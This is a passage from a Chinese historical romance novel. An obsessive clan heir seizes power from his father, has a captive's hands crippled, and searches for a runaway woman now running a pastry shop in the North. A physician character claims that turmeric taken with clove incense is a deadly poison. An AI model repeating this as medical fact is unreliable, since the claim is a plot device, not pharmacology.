当初颍川庾氏家主庾珉命人前来淮阳请谢蕴前去时,谢蕴不用多想,也知是为何事,谢怀砚为了找她,不惜动用豫州兵马以及谢氏在各州府的势力,这是闹到了颍川。 谢蕴并未前去,只给庾珉去了一封书信。 雪夜那日之后,他们父子已是极少见面。 只是,谢怀砚这段时日做尽荒唐事,不禁囚禁颍川庾氏儿郎,还掺和进竹陵桓氏的家事中,如今豫州的两大士族皆对他不满,再这样下去,他这个豫州刺史也别想再做了! 谢蕴和谢怀砚在书房落座,神色严肃开口:“把庾四郎给放了。”他的话冷硬,不容置疑。 谢怀砚敛眸,端起杯盏用了口茶,不置可否。 谢蕴看他一眼,再开口告诫:“天下虽平,世道却乱,三九天里一个女子出逃,能有什么好结果,这么久找不到,若侥幸没死无非是沦落风月之地或成了哪个府上的贱妾。” “我已传令下去给各州府,不会再继续找她,豫州的兵马你也尽快召回,别让建康那位抓了你的把柄。” 谢蕴说完,用了口茶,起身离去。 第二日一早,谢蕴自老夫人的存玉堂回到他院中时,身边人来报:“公子昨夜就已放了庾氏四郎君回颍川,散布在各州府的豫州兵马也已连夜召回。” 谢蕴闻言终于松了口气,叹道:“他能这样做便好。” 两日后,谢怀砚在淮阳城南的双福楼与好友会面,酒酣话尽,出双福楼时正遇上同在双福楼用膳的谢蕴,他上前对谢蕴见礼,神色平和:“父亲可是要回府中么?” 谢蕴对他颔首。 谢怀砚再道:“我正有事要回府见父亲,不如在马车上说。”谢蕴见他神色认真,对他应声:“走吧,坐我的马车回府,边走边说。” 父子两人坐上马车,谈了有一刻钟的事,马车倏然而止,赶马的车夫回身低声禀道:“家主,是无念师父。”谢蕴闻言神色微变,随即清了清嗓子,对谢怀砚道:“想必是有急事,我去见见她。” 谢蕴出了马车,再上了对面的一辆简陋马车上,马车内穿着素雅布衣,带发修行的无念看他进来,神色焦急道:“昨日夜里清心庵走了水,大半屋舍都被烧毁了。” 谢蕴闻言询问了一二,最后握住她的手,宽慰道:“人没事就行,我等下便命人前去重新修缮。”无念听了他的话心里踏实些,再道:“你放在清心庵里的东西也都烧毁了。” “无事。” 谢蕴在这里待了片刻,遂再回到他的马车上,与谢怀砚继续谈事,待事情说完,谢怀砚抬手拿起杯盏用了口茶,漫不经心与谢蕴道:“适才听父亲说命人修缮清心庵,可是出了什么事么?” 谢蕴叹声:“昨夜里走了水。” 谢怀砚淡淡应了声:“既然房屋需要修缮,无念师父可有地方居住?去岁,我在城南置买了处小院,本是用来会友的,如今也是闲置,不如让无念师父先住下。” 谢蕴闻言看他一眼:“不用。” 谢怀砚拿起小几上的茶壶给谢蕴添了盏茶,嗓音温和中带了几许惆怅:“那日父亲走后,我想了许多,人既然走了,何必再留恋,可若人在眼前,何不珍惜呢?” 他眸光微抬,在谢蕴面上扫过:“我知父亲不好主动开口,这些年亦不愿得罪了沁源王氏,不如我帮父亲去与母亲相商,也好全了父亲的心愿。” 马车内静默许久,直到谢氏府门前也未再有一言,谢怀砚回到墨园后,命空渊将那处小院的钥匙送到谢蕴的院中,之后再未提过此事。 往日里无念住在城外的清心庵,谢蕴只每月里去上一回,并不常与她相见,如今无念就住在淮阳城内,难免见的次数多了些,七夕这夜,谢蕴再来了这里。 当时正值满城烟火,谢蕴和无念一道用过晚膳,坐在院中游廊下难得的在七夕这日能够相伴左右亲密的说着话,院门忽然自外被打开,走进来几位衣着华贵神色威严之人。 这座小院并不大,自院门前一眼就能看到游廊下的画面。 谢蕴听到动静立时起身,走上前去,看了眼来人,清了清嗓子问道:“几位叔伯怎来了这里?” 这几人俱是淮阳谢氏族中长辈,神色凝重看着谢蕴,其中一位极为年迈鬓须发白的长辈深叹一声:“我听人说你在外面养了外室本还不信,如今看来是真的!” “这里是怀砚置买下的院子,你们父子二人当真是一条心啊!” 谢蕴闻言凝眉:“与怀砚无关,她也不是什么外室。”谢蕴请这些长辈在院中落座,让无念过来与他们见礼,告诉他们这是他死去的幼子谢炳的母亲。 这些长辈闻言再看了看谢蕴,心中虽依旧看不上出身庶族身份卑贱的无念,一时也不知再说什么。 他们正欲离开时,谢怀砚来了这里,与几位长辈见礼后,开口道:“既然长辈们都在,我倒有一事要说,”他如今任豫州刺史,说出口的话自是有分量。 族中长辈回他:“怀砚有事只管说。” 谢怀砚侧眸看了眼谢蕴身侧的无念,神色平和道:“她既为父亲生下过一子,总归该入了谢氏族谱,不好一直待在清心庵中,不如就让她入谢氏。” 有人言:“这——” 谢怀砚再道:“此事我已与母亲商议过,她并无意见。” 这些年无念一直未能入谢氏族中,一是谢蕴最重名望,他在南朝、在豫州受人尊重,被世人为之称道,赞不绝口,前来淮阳谢氏投奔他的文人墨客数不胜数。 这样一个人,既是对外宣扬了洁身自好,与夫人这么多年琴瑟和鸣,又怎肯让自己身上背负着纳一庶族女子为妾的名声。 二来,谢蕴顾忌沁源王氏。 淮阳谢氏与沁源王氏是当今世上势力最大的两大门阀士族,当初任何一士族对于皇权来说都是威胁,在皇室想办法对付他们之前,适时放权,看似让步,却再两姓联姻,坚不可摧。 谢蕴是一直想让无念入谢氏,只是还未到时机。 此时,谢怀砚如此言说,谢蕴神色严肃,清了清嗓子开口:“夫人她宽容大度,既她已经应允,无念一直待在清心庵里确实不妥,就让她入谢氏吧。” 沁源王氏都无意见,族中长辈自也不再言说。 当日夜里,谢蕴与无念自是心中欢喜。 三日后,谢蕴在府中设宴迎无念入府,无念刚下了马车走进谢府大门,身后便再有一辆华盖马车驶进谢府门前,沁源王氏家主王舒自马车内走出,未让人通传大步踏进谢府内。 当时正值无念前去存玉堂拜见谢老夫人,府中家仆急忙跑去通传,大口喘着气道:“家,家主,老夫人,王氏家主——来了——” 他话落,王舒已来到了存玉堂门前,走进屋中神色平和给谢老夫人问安,之后再抬眸看向谢蕴,依旧是温和神色:“今日府中是有喜事么?这般热闹。” 谢蕴闻言面色难看,讪笑道:“舒兄怎突然来了淮阳,我竟是不知。” 王舒笑道:“你一心忙着你的好事,自是不知我来了淮阳,”他侧首看向自他进来就已站起身的谢夫人,王舒与谢夫人是一母同胞的亲兄妹,他看着谢夫人,道:“妹妹倒是大度,这般的事也能容忍?” 谢老夫人最了解自己的儿子,知晓他重声望,今日这事在王舒面前是说不上几分的理,清了清嗓子开口道:“王家主说的这是什么话,这些年阿蕴身边只有庆荷一人,如今纳的也是当初你们知道的女子。” 王舒对谢老夫人依旧客气,往身后看去一眼,有侍从上前递来一只紫檀木匣,王舒神色有变,气度威严道:“怕是当年我们王氏就被蒙在了鼓里,那时我庆荷妹妹刚嫁入你们谢氏两年,怀有身孕,他就已经在谋划着如何夺取下属之妻了。” 今日无念入府,要给各个长辈敬茶,府中极为热闹,长辈们都在,王舒把当年之事的证据递在谢老夫人面前,一五一十的说清,有谢氏族中长辈质问谢蕴:“闹出了这种事,你有何话要说?” 王舒再看谢蕴一眼:“我父亲他老人家也等着一个交代。”这件事只要王氏抓住不放,谢蕴就没有办法留有声名全身而退,存玉堂内静默许久。 谢蕴抬眸看了眼站在老夫人身侧一直沉默未有言语的谢怀砚。 他沉声开口:“怀砚也已长大了,这几年任豫州刺史做的非常不错,我自愿让出家主之位。”自此,王舒此次亲自前来淮阳的目的达成,自不再说。 谢氏族中长辈亦连连应下。 晚间,谢怀砚在墨园里宴请他舅舅,金樽玉盏,美酒佳肴,酣饮至夜深。 次日,王舒再来存玉堂与谢老夫人辞行,也笑着和谢蕴说了几句话,之后,与谢夫人在一起小坐,坐上马车再启程返回沁源郡。 自存玉堂散去时,谢蕴与谢怀砚道:“随我来。”父子二人来到存玉堂后的琼华园落座,许久未言,再用过一盏茶后,谢蕴沉声开口:“你已如愿,我日后不会再干涉你,让她入了谢氏吧。” 存玉堂那日,事情已过去多年,谢蕴自然可以说那些证据都是假的。 可既已迎了无念入门,总要让她入了谢氏族谱,这是当年炳儿不在时他给她的承诺。 谢怀砚修长指节轻抚着杯盏,神色清淡:“父亲的心愿,我自是要帮着达成。”第二日,无念就再去拜见了谢老夫人,正式入了谢氏府中。 只是,入族谱的日子定在了两月后。 无念入谢府整一月那日,谢夫人身边的花嬷嬷去了她居住的重紫院给她送去了人参银耳郁金粥,无念用过半个时辰后,吐血而亡。 大夫神色凝重与谢蕴回禀:“姨娘平日里常熏丁香,这碗粥里的郁金与丁香同时服用乃是剧毒。” 自几月前谢夫人关心谢怀砚的身体前去给他送补汤,谢怀砚对她说了那番话后,她再未去见过他,谢怀砚 也再未踏进过她的桂月园半步。 谢夫人知道,他恨她放了桃漾离开。 本以为他不再亲近她这个做母亲的已是够了,可他心里的恨还是不能平息,用这种方式再折磨她,自无念死后,谢蕴与谢夫人也再未有过言语。 书房内,谢蕴往日里的温和再也不见,怒目瞪着谢怀砚:“你已如愿,为何就不愿放过她!”谢怀砚神色平和,散漫的笑了下,在谢蕴身侧嗓音阴鸷低声道:“因为父亲在乎她啊——” 他无奈笑了声:“父亲说的对,三九天里冰天雪地,女子出逃,能有什么好结果,可那日的出城文书,不是父亲亲手盖的印么?” 他冷了神色,语气自嘲:“世间可怜人遍地都是,我又何尝不是呢?我的父亲母亲一起把我想要的女人送走,”他眉眼生怒,呵笑一声:“既如此,我过不痛快,谁也别想过好!” 谢蕴无奈闭了闭眼。 他自己的儿子,这些年他还不了解么? 面如冠玉,却心狠薄情,睚眦必报。 早在当初他命人去杀桃漾却被他的人阻拦时就该明白,他不该动她。 谢怀砚得了谢氏家主令,更加肆无忌惮的调动谢氏在各地的暗线去找人,最初,他服用了净空给的药丸夜里还能睡上几个时辰,可随着服用的次数变多,那药丸对他已是无用。 屋内榻边的琉玉盏被他摔碎了一只又一只。 他开始在鹿鸣山中没日没夜的宴请好友,丝竹管弦之声彻夜不断,中秋节那日府中大设宴席,也不见他的身影,他不去谢老夫人的存玉堂请安。 谢夫人也已数月未曾见到过他。 只偶尔遇上空渊空谷问上几句,得知他如今这副模样,谢夫人再去鹿鸣山中见他,碧月阁内,谢夫人神色凝重,与他劝道:“已过去了这么久,何苦这样折磨自己。” 谢怀砚神色淡漠看她一眼,语气生硬:“母亲今日来,是为了关心我么?”他低笑一声,过去这么些时日不但没让他消了心中的恨,反而执念越发的深重,嗓音低沉道:“当初帮她离开时,母亲可想过我?” 他饮了不少的酒,眼尾绯红,一双桃花眼染上郁色,让轮廓分明的面庞更为俊美,谢夫人站起身来,直视着他:“就算没有我,她早晚也会离开你。” 说完,谢夫人往鹿鸣山外走去。 纵情享乐的日子过的很快,入冬这日,谢怀砚再去见了庾子轩。 那日,他毁掉庾子轩机关盒内的药丸,第二日大夫再为庾子轩扎了针,他整个人就清醒了过来,对着谢怀砚一通大骂,最后待他骂的累了,喘着大气与谢怀砚道:“你杀了我吧!” 谢怀砚冷冷凝着他,语气淡漠:“死人可开不了口,我要让你看着,早晚有一日她会回到我身边,你这样坚持,毫无意义!” 庾子轩哈笑一声:“没有这一日,你永远也找不到她!”他话落,部曲上前将他整个人按住,有一婆子手中拿了药膏走进来,不由分说就往庾子轩的双手上涂满。 庾子轩垂眸看着,神色气恼,却也未发一言。 待涂抹好后,婆子上前与谢怀砚回禀:“公子,这药连续涂上十日,这人的手也就废了。”谢怀砚淡淡‘嗯’了声,转身大步离去。 十日后,庾子轩的双手被废,却依旧未开口说出桃漾的下落,婆子再前来回禀时,谢怀砚神色不虞,冷呵一声:“倒是个硬骨头,继续涂,给他留个舌头就够了!” 如今,庾子轩手脚被废靠在迎枕上,见到谢怀砚来就开口大骂他,跟庾子轩磨了这许久,谢怀砚已懒得再问他,只在这屋内坐上片刻,听他提上几句桃漾的名字,就再起身离去。 淮阳城落下今岁的第一场雪那日,卢氏的七姑娘再来了淮阳,她拜见过谢老夫人后,就来了鹿鸣山中见谢怀砚,当时,谢怀砚刚从温泉池中走出,身上披了件墨色鹤氅。 卢七姑娘抬眸看了看他,问:“你的那张乌木古琴呢?” 谢怀砚垂眸品茶,未理会她的话。 卢七姑娘与他直言:“谢怀砚,我们定亲吧。”卢七是豫州出了名的才女,她心中没有情爱,也不在乎这些,她只要嫁给整个豫州身份最尊贵的男子。 如今,谢怀砚是淮阳谢氏家主,她只想嫁给他做谢氏的家主夫人,得到足够尊贵的身份。 她往鹿鸣山中谢怀砚日夜设宴的位置看过去一眼,神色从容道:“我知道你一直在寻一位姑娘,也知道她是谁。” “只是我想不明白,她的身份根本就配不上你,她究竟是有什么好,让你这么一直去找她?” 谢怀砚搁下手中杯盏起身,走至卢七面前,眸光意味不明的打量她,抬手往泛着热气的温泉池内指了指,神色散漫,带着玩味,在卢七耳边低声道:“你跳下去陪我睡一觉,我就告诉你她到底哪里好——” 卢七闻言瞬时冷了神色,羞愤的看着谢怀砚:“我还当你有多珍视她,不过也是把她当玩物罢了!”谢怀砚低笑一声,口中重复:“珍视——” 他再看向卢七,神色淡漠:“滚出去!” 入了冬月,淮阳接二连三的落雪,鹿鸣山中一场雪还未化尽,就再有另一场雪落,晚间,谢怀砚依旧设了宴席,有士族郎君提议:“今夜落着雪,这宴席应摆在那边的梅树林中。” “鹿鸣山中的梅开的好,我记得是去年才刚移栽来的。” 谢怀砚只敛眸饮酒,未有回应。 士族郎君们在一处饮酒作乐,无话不谈,荀氏的五郎君饮下一盏酒后,在手中随意摆弄着一支玉笛,他身侧的郎君瞧见,不禁‘诶’了声,问他:“荀兄,你这玉笛上刻的是什么?” 荀五郎随手扔给他瞧,道:“是神女图。” 又有一郎君接话:“这玉笛上还能雕刻神女图,荀兄在哪里寻的匠师,手艺了得啊!”荀五郎笑道:“这物件出自北朝,是从一来往南北朝的商人那里所得。” 其他郎君听到这话,纷纷好奇,荀五郎的这玉笛就在宴席间来回传递,递到谢怀砚手中时,他垂眸看了眼,随后扔回给荀五郎。 如今南北朝互市,谢怀砚不是没有想过,桃漾会去北朝。 他前去颍川庾氏那日,就已命人守住了豫州的各个出口,以及可以前往北朝的各个码头,没有她出现过的踪迹—— 荀五郎见谢怀砚对他的玉笛没有兴趣,抬眸看他一眼,再从怀中取出一只精巧的红玉葫芦来,轻笑道:“怀砚兄瞧瞧这个。”他抬手把红玉葫芦扔给谢怀砚。 谢怀砚接过,在红玉葫芦上看过一眼,倒是问了荀五郎一句:“此物冬暖夏凉,荀兄在哪得来的?”荀五郎笑回道:“这是颍川庾氏的物件,是早些日子庾二爷前去司州,赠与我父亲的,被我硬讨了来。” 谢怀砚闻言眉心微动,语气平和再问他:“早些日子……是何时?”荀五郎也说不清具体是什么时候,只想了想:“大概是刚过完年关那时候,他来了司州督管庾氏的生意,听我父亲说是往北朝运了一船的货物。” 荀五郎话落,见谢怀砚只垂眸盯着红玉葫芦,再未有言语。 “怀砚兄,可是有何不妥?” 谢怀砚将手中红玉葫芦扔回给他,轻笑道:“并无不妥。”他起身,对在座郎君道:“你们自饮,我去去就回。” 他走出宴席,神色冷凝,对空渊吩咐:“让崔寅立刻来见我。” 第63章 身世带她回来 庾二爷庾睿与司州刺史荀三爷是多年好友,他当时送桃漾上船后去了趟司州刺史府,有意让荀三爷把他在司州的一 切行迹抹去,荀三爷自是相帮。 崔寅快马赶来鹿鸣山时,谢怀砚递给他一封书信,神色清冷吩咐:“去司州刺史府走一趟,查出年关后所有自司州前往北朝的船只。” 崔寅接过书信颔首:“是。” 谢怀砚再把腰间谢氏令牌递给空渊,嗓音低沉:“你随崔寅一道去,待查出后坐船去北朝,拿此令牌带她回来。”空渊抬手接过,抬眸看了看他家公子。 —— 临近年关,北朝也已下了好几场的雪。 桃漾和陈月漪的糕点铺自六月初开起来,如今已有半年时日,她们的铺子开在书肆对面,起初生意并不好,到了晚上关门时糕点能剩下一多半。 那段时日,桃漾和陈月漪每日里就吃糕点度日。 除了给阿婆带回去一些外,她们也用不完,就给隔壁的胡饼铺、打铁铺都送去一些,打铁铺是一对年轻夫妻在经营,夫人怀着身孕,胡饼铺则是一对老夫妻带着孙女孙子做营生。 她们做的糕点味道好,花样也精致,每日里给隔壁铺子送去请他们吃,这日,关铺门时,胡饼铺的阿婆来到她们这儿,低声道:“你们是刚来建邺城吧?对面的书肆是这条街上开了十几年的老铺子,来往他这里的人都是熟客。” 阿婆回身看了眼,再压低了声:“书肆掌柜的儿媳也是开糕点铺子的,就在咱们隔壁街上,来往书肆的人都去那儿买。” 阿婆与她们说了一番,便回了她的铺子。 桃漾和陈月漪回到城南小院,躺在榻上相对无眠,陈月漪听到桃漾来回用指尖抓弄枕头的窸窣声,轻声问:“阿漾,要不咱们换成别的营生?” 桃漾坐起身,望着窗外想了想:“先不换。” 待到第二日一早,她来到隔壁街市上,在阿婆说的那家糕点铺子买了一份芙蓉糕和莲子糕,带回去和陈月漪一起尝了尝。 桃漾问陈月漪:“怎么样?” 陈月漪品了品:“味道不错,口味偏甜,里面加了大量的蜂蜜。”桃漾也在尝着,琢磨道:“咱们铺子的糕点和他们家的口味并不相近,或许,咱们从一开始做的就不对!” 陈月漪‘嗯?’了声,有些不解。 桃漾再道:“咱们的铺名是药食同源,虽糕点中加了些温补的中药材,却未以此为卖点宣扬出去,归根结底,在顾客眼中,还是普通的糕点,在哪里买都是一样。” 桃漾和陈月漪翻阅着医书研究了十来日的糕点做法,再把本身的糕点名与药材名相结合,突出‘药食同源’的特色,之后再送与隔壁邻居尝了尝,皆都赞好。 糕点铺子继续开起来,虽生意还不算兴旺,却比之前多上许多人,皆是存了好奇心前来品尝,之后再过段时日,陆陆续续有了回头客,生意也逐渐兴旺起来。 因着糕点铺的特色就是‘药食’,刚刚入夏,桃漾做出的药用香囊挂在糕点铺子外,无论是前来买糕点的人还是对面书肆的文人墨客都喜好这样的香囊。 她和陈月漪两个人渐渐的开始忙碌起来。 有时忙不过来,有人要问香囊,隔壁胡饼铺的两个小童扎着双丫髻跑过来,很是流利的回着客人的话,待香囊卖了出去,再把铜钱捧着搁在竹篮里。 “桃漾姐姐,卖了只龙脑香的。” 桃漾回身对他们轻笑,拿出几块糕点来给他们吃。 “桃漾姐姐,阿婆说让你们午时来家里吃饭,她做了羊肉汤饼呢。” 阿婆他们一家就住在这条街上,是一座三间屋子的小院,这些日子阿婆做了汤饼时常会让她们两个去吃,桃漾和陈月漪也未客气,常去蹭饭,给阿婆她们带些别的吃食。 入冬后,阿婆见她们夜里还要再往城南回,一大早的还要再赶过来,就说道:“我们院中空着一间屋子,你们两个就先住下,别再来回跑了。” 桃漾谢过阿婆的好意,并未在这里住下。 这日,天色刚暗下就落了雪,桃漾和陈月漪早早的关了铺子,身上披着氅衣往城南小院回,走在街市上,有卖糖葫芦的阿伯在扬声吆喝:“又大又圆不粘牙的糖葫芦咧——” 她和陈月漪买了三串糖葫芦,边吃着边往回走。 桃漾看着热闹的街市,满城的灯火,以及处处传来的烟火气,与陈月漪道:“咱们再攒些银子,就可以在铺子旁置买一处小院,到时,把阿婆接来和我们一起住。” 陈月漪正咬着糖葫芦吃:“我也是这样想的,咱们得有一个家。”她说着,突然‘哎呀’了声:“阿漾,这糖葫芦粘牙——” 两个人说笑着回到桃树林后的小院,还未走近,就觉不太对,往日里她们回来,院中都是极为安静的,今日却有男子的说话声。 桃漾和陈月漪相视一眼,陈月漪在地上捡起木棍,桃漾一手拿了圆石一手握住迷药,待再走近几步,听到阿婆的说话声:“我不跟你走,我在这里住的挺好的。” 桃漾闻言松下心神来,这时,有人发现她们,上前厉声道:“谁?”这人的声音不小,阿婆在院中听到,急忙喊着:“是她们回来了!” 在一起住了近一年的时日,也算是相依为命,桃漾和陈月漪每日里早早的出去,晚上方回,阿婆在家中闲来无事帮她们晒晒草药,再研磨成粉。 见她们走进来,与面前的男子道:“我每日里忙活着,这俩丫头还给我开工钱呢。”男子闻言轻叹一声,回身看过去,院中烛火昏黄,他的目光落在桃漾身上时,露出几许的不可置信。 阿婆介绍道:“这是萧将军,”他再看向萧子亭:“她是桃漾,她是月漪。”萧子亭对阿婆颔首,随后与桃漾道:“没想到竟在这里又见到了姑娘。” 桃漾刚一走近就认出了他,闻言对他莞尔。 几人在屋内坐下,说了一会儿的话,阿婆看了看萧子亭,再看了看桃漾:“原来你们之前见过,桃漾还帮你画了歹人的画像,你就别让我再跟你回去了。” 萧子亭是北朝陛下亲封飞骑将军,十六岁时随父作战,如今已在军中数十年,年少时因他父母不合,他常在姑母家住下,阿婆正是他姑母家的奶娘。 也是他的奶娘。 自从他姑母一家被抄家后,阿婆就一直住在这座小院中,这些年萧子亭不止一次的来请她去他的府邸居住,阿婆始终不肯。 此时,听到阿婆这样说,萧子亭点头道:“有两位姑娘陪您,我自是放心。” 夜色已暗下,桃漾和陈月漪去灶房里烧饭,阿婆本是留了萧子亭在这里用饭的,只是他忽然有事,就先离去。 萧子亭骑马进宫面见了陛下,出宫时他母亲身边的嬷嬷上前与他道:“公子,长公主一直在府中等您回去用膳呢。”萧子亭闻言微微皱眉,应下后再回了长公主府。 他母亲庆阳长公主是当朝陛下的胞妹,他父亲则是寒门出身的武将,当年南北朝战乱,先帝看中他父亲带兵的谋略,直接给他父母赐了婚,可他母亲心高气傲,看不上他父亲这个粗鲁莽夫。 自成亲后就闹着要和离,只是那时先帝不允,后来,就算是生下了他,他母亲也依旧不愿再过,独自一人离开建邺,四处游山玩水。 为此,萧子亭与他母亲的关系并不融洽。 坐在八仙桌前,萧子亭沉默用膳,庆阳长公主随意与他说着话,最后说来说去,这话还是扯到了他的亲事上:“你这些年一直在外,如今回了建邺,也该把你的亲事给定下了。” “你都多——” 萧子亭开口打断她:“我还有公务要处理,改日再来陪母亲用膳。”他说完起身离去,长公主无奈轻叹,对身边嬷嬷吩咐:“去唤魏璟来。” 魏璟得了长公主的令,第二日一早就来了萧子亭的府邸,想要苦口婆心的劝他赶紧成亲,可他来到府中时,下人告诉他:“将军不在。” 魏璟:“去哪了?” 下人摇头:“不知, 只是往城南去了。” 魏璟左右也无事,晃荡着四下里闲逛,也走到城南的三槐街,打算着去书肆坐一坐,刚一走近,就闻到阵阵香气扑面而来,他下意识抬眸看过去,笑‘诶’了声:“怎么跑这来了。” 他大步上前,唤道:“子亭!”萧子亭刚买了一份糕点,正与桃漾问些香囊的事,闻言回身看了魏璟一眼。 道观那夜魏璟也在,看到桃漾时他眸子放大,笑道:“这香囊味道真好闻。” 萧子亭拿了只装有梅香的绣竹香囊,神色温和与桃漾道:“就这只吧。”他给桃漾递了银子,和魏璟一同离开。 坐上马车后,魏璟眸光一寸不错的盯着他,见萧子亭不理他,就哼一声,道:“你何时开始佩戴香囊了?不是说这东西挂在腰间碍事么?” 他拿起一块糕点塞嘴里:“还吃点心。” 魏璟一句又一句叨叨个没完。 萧子亭回他:“在此路过,觉得不错,买来尝尝。” 魏璟边吃着边点头:“味道是不错,不过,你是不是当初在道观里见了人家一面,之后一直惦记着呢?” 萧子亭抬手拿起本书在手中翻看,温声道:“看上去柔柔弱弱的一个姑娘,在水匪刀下逃生,还能捡了个女娃,临危不乱,画下歹人画像,记住她也无可厚非。” 魏璟‘啧啧’几声:“这知人知面不知心,外在最能骗人,尤其是这种生的貌美的。” 萧子亭看他一眼:“她在城南小院和阿婆住了近一年时日,阿婆对她赞不绝口,她是个不错的姑娘。”魏璟闻言,乐的笑了声:“既如此,明儿我陪你来提亲!” 萧子亭拿起一块糕点塞在了他口中。 建邺城的冬日比淮阳还要再冷上一些,下过几场雪后,桃漾就染了风寒,一直用了好几日的汤药才好转些。 萧子亭再来到城南小院时,与阿婆道:“您不愿搬走,可桃漾她们为了照顾您也只能每日里来回跑,大冷天的姑娘家身子怎能受得了。” “不必去我的府邸,我在她们铺子后的那条街上为您置买了处小院,您若住不惯,可冬日里搬进去,待开了春再挪出来。” 阿婆整日里看着桃漾和陈月漪忙碌,心里也是心疼,听到萧子亭这样说,对他点了头:“成,我听你的,既然要搬,现在就让人来收拾吧。” 萧子亭没让阿婆说这是他置买下来的院子,阿婆对桃漾和陈月漪道:“这是我之前的院子,租给了别人,如今租住的人搬走了,咱们正好可以搬进去。” 那里离得糕点铺只有一刻钟的脚程,桃漾她们和阿婆一起搬了进去。 除夕守岁这日,萧子亭手中提了食盒和果子酒来到这里,当时桃漾她们正和阿婆一起在炭炉前包饺子,说说笑笑,直到萧子亭走近才发现他。 阿婆看他一眼:“不陪你母亲守岁,怎还来了这里?”萧子亭走进灶房,把手中食盒搁下,笑道:“母亲进了宫中陪太后,我在府中也无事,来和您一起守岁。” 阿婆笑道:“也好,包的是荠菜饺子,这还是桃漾跑去山里挖的呢。”萧子亭垂眸看了看桃漾,道:“我带了些南朝除夕守岁用的吃食来。” 桃漾抬眸看了眼桌上的食盒,对他道谢:“多谢萧将军。” 萧子亭看她们都在忙碌,对阿婆道:“我来添柴烧水罢。” 陈月漪看他一身锦衣华服的,急忙开口:“我来吧。”阿婆笑道:“让他来,他们在外行军打仗的,哪个不会添柴烧火?” 萧子亭打了水,把柴点上,几个人一起吃了热气腾腾的饺子,还用了几口甜香的果子酒,待至亥时,在院中看着建邺城上空似是永远也燃不尽的焰火。 阿婆悄悄扯了扯陈月漪的衣袖,两个人默默回了屋中。 萧子亭侧首看向桃漾,温声问她:“适才见你没怎么用菜,可是我带来的饭菜与南朝的口味不符?”桃漾仰着下颌看着天上焰火,对他应了声:“我已经习惯这里的吃食了。” 默上片刻,萧子亭再道:“桃漾姑娘是南朝哪里人,怎和好友不远千里来了北朝?”他说完,见桃漾秀眉微凝,似是不愿提起,抬手指了指飘在天上的许愿灯:“等下我让人给你们送几盏来。” 萧子亭在这里再待上一刻钟,回了他的府邸,当真命人送来了许愿灯给她们。 出了年关,桃漾和陈月漪再开始忙碌起来,萧子亭也隔三差五的来这里看望阿婆,二月底的时候,隔壁打铁铺子的阿梨正在铺子里忙活着,忽然大喊一声:“我要生了——” 去岁桃漾开糕点铺子时,她就已有了身孕,此时她夫君不在,桃漾听到她喊,急忙丢下手中活计跑去帮她喊稳婆,陈月漪和胡饼铺的阿婆扶着她进了屋中。 忙忙活活几个时辰,阿梨生下个白白胖胖的小女娃。 桃漾帮着打热水忙活,听到小女娃的哭声时勾唇笑了笑,站在门边不住的喘着气,再回到铺子前,装了一油纸袋的枣糕给阿梨送过去。 午后,她对陈月漪道:“阿月,我有些事,出去一趟。”陈月漪闻言‘诶’了声,看着她往另一条街走过去。 桃漾来到建邺城最繁华的福满酒楼,走进后与掌柜的道:“可有新鲜的桃子么?”掌柜的正在提笔记账,闻言抬眸看了看她,笑道:“如今不是桃子成熟的时节,本店不售卖桃子,只有上等雅室的客人我们会送上一份。” 桃漾再道:“我可以出双倍的银子买。” 掌柜的对她笑了笑,随后摆手道:“姑娘还是走罢,这些不应时节的水果都是花重金得来的,没必要贪这一口吃食。”桃漾闻言神色沉重,不欲再说。 她刚转身离去,就听到身后有人唤她:“桃漾。”萧子亭神色温和,对她笑道:“你来这里用膳么?” 桃漾对他摇头:“没有,我只是来看一看这里的糕点,想学习一下。” 她这般言辞,一旁的掌柜的察言观色,上前对萧子亭笑笑道:“萧将军,这位姑娘是想买本店的桃子。”萧子亭闻言再看向桃漾,对掌柜的道:“去取一食盒来。” 掌柜的连忙应是。 桃漾看到萧子亭身后的侍从扔给掌柜的一锭银子,上前与萧子亭道:“只要三颗就行了。”萧子亭眉心微抬,见她神色认真,再看向身后的侍从。 片刻后,掌柜的当真只用油纸袋装了三颗又圆又红的桃子递给桃漾,桃漾问掌柜的:“您按双倍的价钱算一下这三颗桃子多少钱?” 掌柜的看了眼萧子亭,随后笑笑道:“若是夏季,这三颗桃子不过几文钱,姑娘就给二十文罢。” 桃漾在袖袋里掏出二十文钱搁在桌上,随后把侍从扔出的一锭银子拿回来递给萧子亭,神色温和道:“银子不是这么花的。” 走出酒楼后,桃漾再对萧子亭道谢。 萧子亭对她笑道:“阿婆年纪大了,时常感怀,这几年我一直不放心她,如今她和你们一起生活,不但气色更好,每日里也都开心,该我谢你。” 桃漾对他莞尔,往城南走,萧子亭也跟着,桃漾抬眸来看他,他不自然的抬手指了指:“我正好去看看阿婆,和你一起。”萧子亭先和桃漾一起回了铺子里,买了只桃漾绣的香囊才再去看阿婆。 她们新搬来的这座小院共有三间厢房,桃漾和陈月漪自搬来后就分开住了,夜里,桃漾在竹篮里拿出她买的桃子以及香火、纸钱。 她对她的生母没有任何的记忆。 这些 年虽心里时常念着,却也没有很深的怀念。 白日里她看到阿梨那么辛苦的生下女儿,心中尤为的酸涩,从前在阳夏,她不敢祭奠,如今既过上了可以自己做主不用再担心被人所弃的日子,她想祭奠她。 天上明月高悬,正值十五月圆。 桃漾离开不见后,谢怀砚命人大肆的去找,谢澜自是再也瞒不过桓馥,此时,桓馥倚靠在窗边矮榻上,对着窗外圆月感慨道:“阿禾都走了十八年了——” 阿禾是桓馥的贴身婢女。 当年她才八岁时,父母因吃不上饭看她样貌生的好,要把她送到高门大院中去做活,阿禾不愿,独自一人跑到山中,在那里遇上了甩掉部曲跑来山中玩的桓馥。 当时,桓馥和身边人掉进了猎户的陷阱,是阿禾救下了她。 之后,阿禾就随桓馥入了竹陵桓氏为婢,主仆二人相伴数十年,那时,桓馥与颍川大郎君庾珉定了亲事,庾珉极为喜欢桓馥,常隔三差五的来竹陵见她。 与他同来的还有庾睿。 那一日,桓馥正在屋内练字,阿禾突然走进来,跪在她面前,告诉她:“姑娘,我,我有身孕了——”桓馥当时大惊,手中的笔都掉落在纸上,墨迹糊了一片。 她问阿禾那个男人是谁。 两月前的春夜里,落了场寒雨,阿禾去为她取银丝碳,回来的路上,遇到了醉酒的庾睿,他看着阿禾,口中只道‘画中仙’,然后拖住阿禾就去了游廊外的水榭。 那时,不过刚过戌时,阿禾挣扎大喊,无人过问。 高门大院中,士族郎君一时兴起要了一个婢女,是再正常不过的事,有些无名无份,有些成为通房,若是家生子或可成为妾室。 在他们看来这是婢女的荣幸。 